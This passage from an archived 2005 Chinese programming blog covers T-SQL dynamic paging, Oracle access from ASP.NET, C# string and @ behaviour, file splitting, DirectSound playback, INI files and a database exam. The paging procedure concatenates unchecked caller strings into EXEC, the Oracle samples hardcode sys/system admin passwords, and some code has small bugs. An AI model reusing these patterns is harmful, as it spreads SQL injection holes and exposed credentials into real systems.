      DECLARE @strFilter varchar(1000)
      DECLARE @strSimpleFilter varchar(1000)
      DECLARE @strGroup varchar(1000)


      /*Default Page Number*/
      IF @PageNumber < 1
       SET @PageNumber = 1


      /*Set paging variables.*/
      SET @strPageSize = CAST(@PageSize AS varchar(50))
      SET @strStartRow = CAST(((@PageNumber - 1)*@PageSize + 1) AS varchar(50))


      /*Set filter & group variables.*/
      IF @Filter IS NOT NULL AND @Filter != ''
       BEGIN
        SET @strFilter = ' WHERE ' + @Filter + ' '
        SET @strSimpleFilter = ' AND ' + @Filter + ' '
       END
      ELSE
       BEGIN
        SET @strSimpleFilter = ''
        SET @strFilter = ''
       END
      IF @Group IS NOT NULL AND @Group != ''
       SET @strGroup = ' GROUP BY ' + @Group + ' '
      ELSE
       SET @strGroup = ''
       
      /*Execute dynamic query*/ 
      EXEC(
      '
      DECLARE @SortColumn ' + @type + '
      SET ROWCOUNT ' + @strStartRow + '
      SELECT @SortColumn=' + @strSortColumn + ' FROM ' + @Tables + @strFilter + ' ' + @strGroup + ' ORDER BY ' + @Sort + '
      SET ROWCOUNT ' + @strPageSize + '
      SELECT ' + @Fields + ' FROM ' + @Tables + ' WHERE ' + @strSortColumn + @operator + ' @SortColumn ' + @strSimpleFilter + ' ' + @strGroup + ' ORDER BY ' + @Sort + '
      '
      )
      GO



      oracle9i连接asp.net方法及注意点

      #region 声明
      //----------------------------------------------------------------------
      //
      // 修改: 李淼(Nick.Lee)
      //
      // oracle9i连接asp.net方法及注意点


      // 时间:2005-3-18


      // boyorgril@msn.com
      // QQ:16503096
      //注意:引用请标明修改出处,谢谢
      //----------------------------------------------------------------------
      #endregion


      推荐方式


      public void oledboracle_dataset()
        {
         string ConnectionString="Data Source=mine;user=sys;password=sys;";  //写连接串
         OracleConnection conn=new OracleConnection(ConnectionString);                //创建一个新连接
         OracleCommand cmd= new OracleCommand("select * from fjdl.t_rights",conn);
         DataSet ds = new DataSet();
         OracleDataAdapter oda=new OracleDataAdapter();
         oda.SelectCommand=cmd;
         oda.Fill(ds);
         conn.Close();
         DataGrid1.DataSource=ds.Tables[0].DefaultView;
         DataGrid1.DataBind();
        }


      以下为用dataset和datareader,oledb和oralceclient的四种方法


      public void oledboracle_datareader()
        {
         System.Data.OleDb.OleDbConnection oledb1=new System.Data.OleDb.OleDbConnection();
         string sqlText="select * from scott.tAdmin";
         System.Data.OleDb.OleDbDataReader  reader;


         oledb1.ConnectionString="Provider=\"OraOLEDB.Oracle.1\";User ID=system;password=system;Data Source=rick;";
         System.Data.OleDb.OleDbCommand Com=new System.Data.OleDb.OleDbCommand(sqlText,oledb1);


         Com.Connection.Open();
         reader=Com.ExecuteReader();


         DataGrid1.DataSource=reader;
         DataGrid1.DataBind();


         //this.Response.Write(oleDbConnection1.ConnectionString);
         reader.Close();
         Com.Connection.Close();
        }
        public void oledboracle_dataset()
        {
         System.Data.OleDb.OleDbConnection oledb1=new System.Data.OleDb.OleDbConnection("Provider=\"OraOLEDB.Oracle.1\";User ID=system;password=system;Data Source=rick;");
         string sqlText="select * from scott.tAdmin";
         System.Data.DataSet set1=new DataSet();
         System.Data.OleDb.OleDbDataAdapter Ada1=new System.Data.OleDb.OleDbDataAdapter (sqlText,oledb1);
         Ada1.Fill(set1,"data1");


         this.DataGrid2.DataSource=set1.Tables["data1"].DefaultView;
         this.DataGrid2.DataBind();
        }
        public void oracle_dataset()
        {
         System.Data.OracleClient.OracleConnection  oracle1=new System.Data.OracleClient.OracleConnection("user id=system;data source=rick;password=system");
         string sqlText="select * from scott.tAdmin";
         System.Data.DataSet set1=new DataSet();
         System.Data.OracleClient.OracleDataAdapter  Ada1=new System.Data.OracleClient.OracleDataAdapter(sqlText,oracle1);
         Ada1.Fill(set1,"oracle_data1");


         this.DataGrid3.DataSource=set1.Tables["oracle_data1"].DefaultView;
         this.DataGrid3.DataBind();
        }
        public void oracle_datareader()
        {
         System.Data.OracleClient.OracleConnection oracle2=new System.Data.OracleClient.OracleConnection();
         string sqlText="select * from scott.tAdmin";
         System.Data.OracleClient.OracleDataReader reader;


         oracle2.ConnectionString="User ID=system;user id=system;data source=rick;password=system";
         System.Data.OracleClient.OracleCommand Com=new System.Data.OracleClient.OracleCommand(sqlText,oracle2);


         Com.Connection.Open();
         reader=Com.ExecuteReader();


         DataGrid4.DataSource=reader;
         DataGrid4.DataBind();


         //this.Response.Write(oleDbConnection1.ConnectionString);
         reader.Close();
         Com.Connection.Close();
        }


      注意点:


      如果不设置远程数据的本级网络配置


      ORA-00162: external dbid length 18 is greater than maximum (16)


      连接名称不能超过16个字符


      修改方法


      Configuration and Migration Tools->Net Configuration Assistant中配置

      “神奇”的String (1)

      (C#) “神奇”的String (1)


      2005-7-27


      Allen Lee


       


      1


      在任何语言中,String都无疑是非常特殊的一种数据类型。C#中也是如此。


       


      stringSystem.Stringalias


      aliasusing声明,用法如下


      using [alias = ]class_or_namespace;


       


       


      2


      string是个独特的基本数据类型,它是基本数据类型中唯一的引用类型。作为基本数据类型,字符串可以声明为常量,但是却放在堆中。


      字符串是唯一具有可变长度的基本数据类型


       


       


      3


      .NET FrameworkString类型是不可变的。


      不可改变的一个优点是它是线程安全的。


      如果系统在编译时知道一个字符串中的字符是什么,就会内置这个字符串。被内置的字符串可以是一个常量,也可以不是。


       


      String定义为不可改变,它的表现像一个值类型,但实际上仍然是引用类型。


      时刻记住的一点是:


      任何对String的修改都会创建一个新String对象


      比如String.Replace(), String.ToLower()等待。


       


      Const是初始化字符串最有效的方法,因为它涉及的IL指令最少。


       


       


      4


      String虽然是reference类型,但其分配却可以不使用new表达式,String object的初始化可采用“适用于value型别”的语法。如:


      string str = "TestString";


       


      此外:


      C# Primer 中文版(Stanley B. Lippman, 侯捷/陈硕合译)中有这样一句:“如果声明的是Local array,有一个简短表示法可以使我们不必再明确调用new表达式。”


      虽然我对Local array的确切定义不甚了解,但对于接下来的用法还是比较熟悉的。


      string[] m_message =


      {


      "Hi, Please enter your name: ",


      "Oops, Invalid name, Please try again: ",


      // 此处的","用不用都可


      }


       


       


      5


      String虽然是reference类型,但是operators (== and !=) 却定义为比较二者的值,而不是引用。


      一个来自MSDN上的例子。


      string a = "hello";


      string b = "h";


      b += "ello"; // append to b


      Console.WriteLine( a == b );


       


      // output: True -- same value


      Console.WriteLine( (object)a == b );  // False -- different objects


       


      6


      Stringreference类型没有错,但我试了以下代码后却让我感觉到String的特殊。


      class Class1


      {


      static void Main(string[] args)


      {


      Class1 c = new Class1();


      string str = "123";


      c.Change(str);


      Console.WriteLine(str);


      }


       


      private void Change(string s)


      {


      s = "456";


      }


      }


       


      结果却是:


      123


       


      做了小改动之后:


      class Class1


      {


      static void Main(string[] args)


      {


      Class1 c = new Class1();


      string str = "123";


      c.Change(ref str);


      // 加上ref关键字


      Console.WriteLine(str);


      Console.Read();


      }


       


      private void Change(ref string s)


      // 加上ref关键字


      {


      s = "456";


      }


      }


      输出结果是:


      456


       


      7


      今天暂时写到这里,可能有疏漏之处,望讨论指正。


       


       


      Allen Lee


      E-mail : alan_lz@126.com


      QQ: 277523957


      Created : 2005-7-27



      C#中的@符号

      C#中的@符号


      2005-7-27


      Allen Lee


       


      @符号是特殊而又实用的C#符号。


       


      比如它在string中的应用。


       


      1


      字符@表示,其后的字符串是个“逐字字符串”(verbatim string)。 // 这个说法来自C# Primer 中文版(Stanley B. Lippman, 侯捷/陈硕合译)


       


      2


      对于逐字字符串字面变量(verbatim string literal ),我们不再需要使用“转义序列”就可以指定反斜线之类的特殊字符。@的这个特点使得在表示文件路径时很方便。


      如:


      string str = @"C:\Test.txt";


       


      3


      另外一点,用@表示的字符串能够跨越数行。这数行之内的空白字符(White Space)都会保留在字符串里。


      这样便能允许存储和生成带有格式的文本块。


      如:


      string strText = @"Line1


      Line2


      Line3";


      有意思的是如果在VS.NET2003中当你输入完第一行(string strText = @"Line1换行后,光标会自动到第二行最开头 ^_^。很智能化、人性化的判断。


       


      4


      不知道大家在最初看到@的功能时有没有想,如果“转义序列”(\)在字符串中“失效”,那么想包含一个双引号(",怎么办?我找到了答案。


      方法很简单。在双引号之前再加一个双引号即可。


      如:


      string str = @"""Great!""Said Allen Lee";


       


      5


      这仅仅是@在字符串中的用法,有机会再去看看@的其他东东。


       


       


      Allen Lee


      E-mail : alan_lz@126.com


      QQ: 277523957


      Created : 2005-7-27



      文件分割的代码

      原理就是读取不同的字节段


      然后分别存为文件


      ///<summary>切割文件类</summary>


      public class cutfile{
              protected int CUT_SIZE;
              protected string source;
              protected string target;

              ///<summary>切割文件构造函数</summary>
              ///<param>source: 被切割文件;target:切割后文件目录</param>
              public cutfile(string arg1,string arg2,string arg3,string arg4){
                  source =arg1;
                  target = arg2;
              }


              ///<summary>切割主方法,切割文件序列存在indexFile中</summary>
              ///<param>indexFile:索引文件名;CUT_SIZE:切割大小</param>
              public void tocut(string indexFile,int CUT_SIZE){

                  indexFile=target+indexFile;            
                  StreamWriter file = new StreamWriter(indexFile,true);
                  FileStream fs = new FileStream(source, FileMode.Open, FileAccess.Read);

                  BinaryReader r = new BinaryReader(fs);
                  int i=0;
                  int t=1;
                  int bb=(int)fs.Length;
                  int filesize;
                  string outputname;


                  while(bb>0){
                  if((bb-CUT_SIZE)>=0){
                      filesize=CUT_SIZE;
                  }
                  else{
                      filesize=bb;
                  }
                  byte[] mybyte=new byte[filesize];
                  r.Read(mybyte,0,filesize);


                  outputname=target+t.ToString();


                  FileStream fo = new FileStream(outputname, FileMode.CreateNew);
                  file.WriteLine(t.ToString());
                  BinaryWriter w = new BinaryWriter(fo);
                  w.Write(mybyte);
                  i=i+CUT_SIZE;
                  t++;
                  bb=bb-CUT_SIZE;
                  w.Close();
                  }


                  file.Close();
              }
      }

      随机产生文件名的代码

      private string rndname(){
                  char[] c=new char[39];
                  char d='0';
                  for(int i=0;i<10;i++){
                        c[i]=d++;
                  }
                  d='a';
                  for(int i=10;i<36;i++){
                        c[i]=d++;
                  }


                  c[36]='-';
                  c[37]='_';
                  c[38]='@';
                  string temps="";
                  int rnd;
                  Random myrnd=new Random(Guid.NewGuid().GetHashCode());   //这一步很重要,不然随机在一段时间内还是一样的
                  for(int i=0;i<32;i++){
                        rnd=myrnd.Next(39);
                        temps+=c[rnd];
                  }
                        return temps;
      }

      数据库能力测试

      [DB基础](10)


      选答题, 从下列题目中任选题分值满10分的作答.


      SYBASE


      A.(5)软件公司的张工在备份数据库除了备份应用数据库本身以外, 还备份master数据库,为什么?


       


      B.(5)SYBASEVIEW创建有那些限制?


       


      ORACLE


      A.(5)解释归档和非归档模式之间的不同和它们各自的优缺点


       


      B.(5) 兩個結果集互加及互減的函數


       


      综合


      A.(10)取一表前N筆記錄的各种數据庫的寫法... 至少写出三种写法.


       


      [SQL常识](30)


      A. (5)比较truncatedelete :


       


      B. (5)比较union union all区别,请举例说明 (要求写出结果集)


       


      C. (5)比较EXISTS IN (NOT IN)的用法, 请举例说明 (要求写出结果集)


       


      D. (5)比较between >  and  <的区别,请举例说明 (要求写出结果集)


       


      E. (9)比较自然连接和外部连接以及笛卡尔积的用法,各请举例说明 (要求写出结果集)


       


      [SQL综合应用](40)


      使用的数据库不受限制,但要求在答案中写出所用的数据库类型.


      下列题目要求用SQL本身实现(要求考虑到编码级优化)


      最好就一句SQL, (得分率为100%)


      如果不能用一句SQL实现可以用多句SQL实现,(得分率为 80%)


      也可以用存储过程实现(得分率为70%).


      除了写出相应的编码外,还要求答题者给出思路以及实现步骤的文字描述.


      A.(6)求和运算


      表结构如下:


              序号,总金额,金额1,部门


      记录:1            10     1


                2            10     1


                3            10     1


                4            10     2


                5            10     2


      现想按部门对总金额进行求和运算


       结果为为:


              序号,总金额,金额1,部门


       记录:1    30      10     1


                 2    30      10     1


                 3    30      10     1


                 4    20      10     2


                 5    20      10     2


       


      B.(6)字段最大值


      有三个字段,T1, T2, T3,请问怎么返回一个字段,值是这三个字段的最大值?


      要求:对题目的理解描述, 建立相应的测试数据, 写出SQL,得出SQL结果集


       


      C.(6)重复行检索


      请问如何把一个table中某列重复的行检索出来? (某一列或者多列的值重复)


      要求:对题目的理解描述, 建立相应的测试数据, 写出SQL,得出SQL结果集


       


      D.(8)需求理解


      有一张表:S#(学号),C#(课程号),Grade(成绩)


      请写出所学课程包含学号为001的学生所学课程的学生的学号。


      要求:对题目的理解描述, 建立相应的测试数据, 写出SQL,得出SQL结果集


       


      E.(14)外连接应用


      有两张表b1,b2,其中b1表有一列为(id1 number(10)),b2有一列为(id2 number(10)).现在需要将id1,id2取出来,放在表b3里,b3为(b1id number(10),b2id number(10),要将id1放入b1id,id2放入b2id.  另该两表没有任何内在联系. 


      请问用sql语句该怎么实现。


      B1            B2                  B3


      id1               id2                     b1id,  b2id


      1                  2                       1        2


      2                  3                       2        3


      3                  1                       3        1


      4                  6                       4        6


      5                  9                       5        9 


                          5                       null     5


                          8                       null     8


                          4                       null     4


       


      ------------------------------------------------


      ABC客户分析法的说明:


      ()将客户按业绩大小顺序排列。


      ()将全部客户的进货金额予以累计。


      ()其累计的总金额在55%以内的客户称为A级客户。


        在55%——85%的客户称为B级客户。


        在85%—100%的客户称为C级客户。


       


      A. (10)抢号的处理


      在联机处理数据库中常常会遇到多个客户抢号的现象,但这些在OLTP中常常又是无法避免的,试问你有什么好的解决方案.


      (由于考虑到编码的前缀以及流水号的限制,所以具体情况不能用自增列实现).


      提示:可以用图形, 建表, 编码等各种书面方式描述你的处理方案


       


      [数据库案例](30)




      B (20)客户ABC分析



      给出现有客户排名销售表t1,及表内容如下附表():


      表结构: t1(client,  cur_money)


      附表() XX月份客户排名销售表

















      客户


         名称


      销货


         金额


      客户


         名称


      销货


         金额


      顺正


      131,000


      联合


      18,000

      C#中使用DirectX编程

          我感觉声音的播放比较简单。我们从播放声音开始。为什么我这么觉得?我也不知道。这里是展示最最最最最简单的DirectX播放声音的例子,我尽量省略了无关的代码。最后的代码只有19行,够简单了吧?

      准备工作:
      1.安装了DirectX SDK(有9个DLL文件)。这里我们只用到MicroSoft.DirectX.dll 和 Microsoft.Directx.DirectSound.dll
      2.一个WAV文件。(这样的文件比较好找,在QQ的目录里就不少啊。这里就不多说了。)名字叫SND.WAV,放在最后目标程序的同个目录下面



      开始写程序啦。随便用个UltraEdit就好了。


      1.引入DirectX 的DLL文件的名字空间:
      using Microsoft.DirectX;
      using Microsoft.DirectX.DirectSound;


      2.建立设备。在我们导入的Microsoft.DirectX.DirectSound空间中,有个Device的类。这个是表示系统中的声音设备。
      Device dv=new Device();


      3.设置CooperativeLevel。因为windows是多任务的系统,设备不是独占的,所以在使用设备前要为这个设备设置CooperativeLevel。调用Device的SetCooperativeLevel方法:其中,第一个参数是一个Control,第二个参数是个枚举类型。
      在这个程序中,Control我随便弄了个参数塞进去(很汗吧!)。如果在windows程序中,可以用this代替。第二个参数就是优先级别,这里表示优先播放。
      dv.SetCooperativeLevel((new UF()),CooperativeLevel.Priority);


      4.开辟缓冲区。对于上面的声音设备,他有个自己的缓冲区,叫主缓冲区。系统中,一个设备有唯一的主缓冲区。由于windows是多任务(又是这个!),所以可以有几个程序同时利用一个设备播放声音,所以每个程序都自己开辟一个二级缓冲区,放自己的声音。
      系统根据各个程序的优先级别,按照相应的顺序分别去各个二级缓冲区中读取内容到主缓冲区中播放。这里,我们为SND.WAV开辟一个缓冲区。
      其中,第一个参数表示文件名(傻瓜都看出来了!),第二个就是需要使用的设备。
      SecondaryBuffer buf=new SecondaryBuffer(@"snd.wav",dv);


      5.接下来就可以播放啦。第一个参数表示优先级别,0是最低的。第2个参数是播放方式,这里是循环播放。
      buf.Play(0,BufferPlayFlags.Looping);


      6.由于命令行程序没有消息循环,执行完代码就退出了,所以,我们需要暂停程序。
      Console.Read();


      7.关键的部分已经完了,这里只是交代一下刚才的那个倒霉的new UF() 是什么东西。这个完全是为了应付SetCooperativeLevel的参数要求。我不知道这样做有什么附作用(各位如果因此把声卡烧了…………^_^|||)
      class UF:Form{}


      8.代码写完啦~~~。下面可以编译了,这里编译比较复杂点。
      csc /r:directX\MicroSoft.DirectX.dll;directX\Microsoft.Directx.DirectSound.dll dxsnd.cs


      这里,我把2个DLL文件放在当前目录的directx目录下(这个是我自己建的,你只需要指出这2个文件的位置就可以了。)
      顺便把我的目录结构说明一下:
      |
      |--dxsnd.cs
      |--snd.wav
      |--<directx>
           |
           |--MicroSoft.DirectX.dll
           |--Microsoft.Directx.dll
       



      下面是完整代码:
      //dxsnd.cs
      using System;
      using Microsoft.DirectX;
      using Microsoft.DirectX.DirectSound;
      using System.Windows.Forms;
      namespace test1
      {
        class test
        {
          public static void Main(string [] args)
          {
           Device dv=new Device();
           dv.SetCooperativeLevel((new UF()),CooperativeLevel.Priority);
           SecondaryBuffer buf=new SecondaryBuffer(@"snd.wav",dv);
           buf.Play(0,BufferPlayFlags.Looping);
           Console.ReadLine();
          }
          class UF:Form{}
        }
      }



      读写ini文件(C# + API 源码)

      using System;
      using System.Drawing;
      using System.Collections;
      using System.ComponentModel;
      using System.Windows.Forms;
      using System.Data;
      using System.Runtime.InteropServices;
      using System.IO;
      using System.Text;


      namespace ex84_readWriteIni
      {
       /// <summary>
       /// Form1 的摘要说明。
       /// 

       /// zhanghua 2005-7-28
       ///
       /// </summary>
       ///
       public class Form1 : System.Windows.Forms.Form
       {
        /// <summary>
        /// 必需的设计器变量。
        /// </summary>
        private System.ComponentModel.Container components = null;


        public Form1()
        {
         //
         // Windows 窗体设计器支持所必需的
         //
         InitializeComponent();


         //
         // TODO: 在 InitializeComponent 调用后添加任何构造函数代码
         //
        }


        /// <summary>
        /// 清理所有正在使用的资源。
        /// </summary>
        protected override void Dispose( bool disposing )
        {
         if( disposing )
         {
          if (components != null)
          {
           components.Dispose();
          }
         }
         base.Dispose( disposing );
        }


        #region Windows 窗体设计器生成的代码
        /// <summary>
        /// 设计器支持所需的方法 - 不要使用代码编辑器修改
        /// 此方法的内容。
        /// </summary>
        private void InitializeComponent()
        {
         this.button1 = new System.Windows.Forms.Button();
         this.SuspendLayout();
         //
         // button1
         //
         this.button1.Location = new System.Drawing.Point(192, 112);
         this.button1.Name = "button1";
         this.button1.TabIndex = 0;
         this.button1.Text = "button1";
         this.button1.Click += new System.EventHandler(this.button1_Click);
         //
         // Form1
         //
         this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
         this.ClientSize = new System.Drawing.Size(292, 273);
         this.Controls.Add(this.button1);
         this.Name = "Form1";
         this.Text = "Form1";
         this.Load += new System.EventHandler(this.Form1_Load);
         this.ResumeLayout(false);


        }
        #endregion


        /// <summary>
        /// 应用程序的主入口点。
        /// </summary>
        [STAThread]
        static void Main()
        {
         Application.Run(new Form1());
        }


        /// <summary>
        /// 添加GetPrivateProfileInt等6个API函数的声明和FILE_NAME常量的声明
        /// </summary>
        //declare begin  by zhanghua
        [DllImport("kernel32")]
         private static extern int GetPrivateProfileInt(
            string  lpApplicationName,
            string lpKeyName, 
            int   nDefault,
            string  lpFileName);
        [DllImport("kernel32")]
         private static extern bool GetPrivateProfileString(
           string  lpApplicationName,
           string  lpKeyName,
           string  lpDefault,
           StringBuilder   lpReturnedString ,
           int     nSize,
           string lpFileName);
        [DllImport("kernel32")]
         private static extern bool WritePrivateProfileString(
           string  lpApplicationName,
           string  lpKeyName,
           string  lpString,
           string  lpFileName);


        [DllImport("kernel32")]
         private static  extern bool GetPrivateProfileSection(
           string   lpAppName,
           StringBuilder lpReturnedString,
           int    nSize,
           string   lpFileName );
        [DllImport("kernel32")]
         private static extern bool  WritePrivateProfileSection(
           string  lpAppName,
           string      lpString,
           string  lpFileName);


        private System.Windows.Forms.Button button1;


        public const string FILE_NAME ="C:\\Visual Studio Projects\\ex84_readWriteIni\\test.ini";
        // declare end
             
        private void Form1_Load(object sender, System.EventArgs e)
        {
         if (File.Exists(FILE_NAME))
         {
          StringBuilder strCaption = new StringBuilder(256);
          GetPrivateProfileString("Form", "Caption","Default Caption",
           strCaption,
           strCaption.Capacity,
           FILE_NAME);
          this.Text= strCaption.ToString();
          
          int myWidth= GetPrivateProfileInt("Form", "Width", this.Width,FILE_NAME);
          this.Width=myWidth;


          int myHeight= GetPrivateProfileInt("Form","Height", this.Height,FILE_NAME);
          this.Height= myHeight;


          int  myLeft= GetPrivateProfileInt("Form","Left", this.Left,FILE_NAME);
          this.Left=myLeft;


          int myTop = GetPrivateProfileInt("Form","Top", this.Top, FILE_NAME);


          this.Top=myTop;
         }
        }


        //当按钮被点击, 保存窗体的位置和大小信息到test.ini 文件中,响应代码如下:


        private void button1_Click(object sender, System.EventArgs e)
        {
         string  strCaption = this.Text;
         WritePrivateProfileString("Form", "Caption", strCaption, FILE_NAME);
         WritePrivateProfileString("Form",  "Width", this.Width.ToString(), FILE_NAME);
         WritePrivateProfileString("Form",  "Hight", this.Height.ToString(), FILE_NAME);
         WritePrivateProfileString("Form",  "Left", this.Left.ToString(), FILE_NAME);
         WritePrivateProfileString("Form",  "Top", this.Top.ToString(), FILE_NAME);
        }


        //当程序结束时,保存窗体的位置和大小信息到test.ini 文件中,响应代码如下:
        private void Form1_Closing( object sender, System.ComponentModel.CancelEventArgs e)
        {
         string  strCaption = this.Text;
         WritePrivateProfileString("Form", "Caption", strCaption, FILE_NAME);
         WritePrivateProfileString("Form",  "Width", this.Width.ToString(), FILE_NAME);
         WritePrivateProfileString("Form",  "Hight", this.Height.ToString(), FILE_NAME);
         WritePrivateProfileString("Form",  "Left", this.Left.ToString(), FILE_NAME);
         WritePrivateProfileString("Form",  "Top", this.Top.ToString(), FILE_NAME);


        }
          
        
       }
      }



      About this Archive

      This page is an archive of entries from August 2005 listed from newest to oldest.

      July 2005 is the previous archive.

      September 2005 is the next archive.

      Find recent content on the main index or look in the archives to find all content.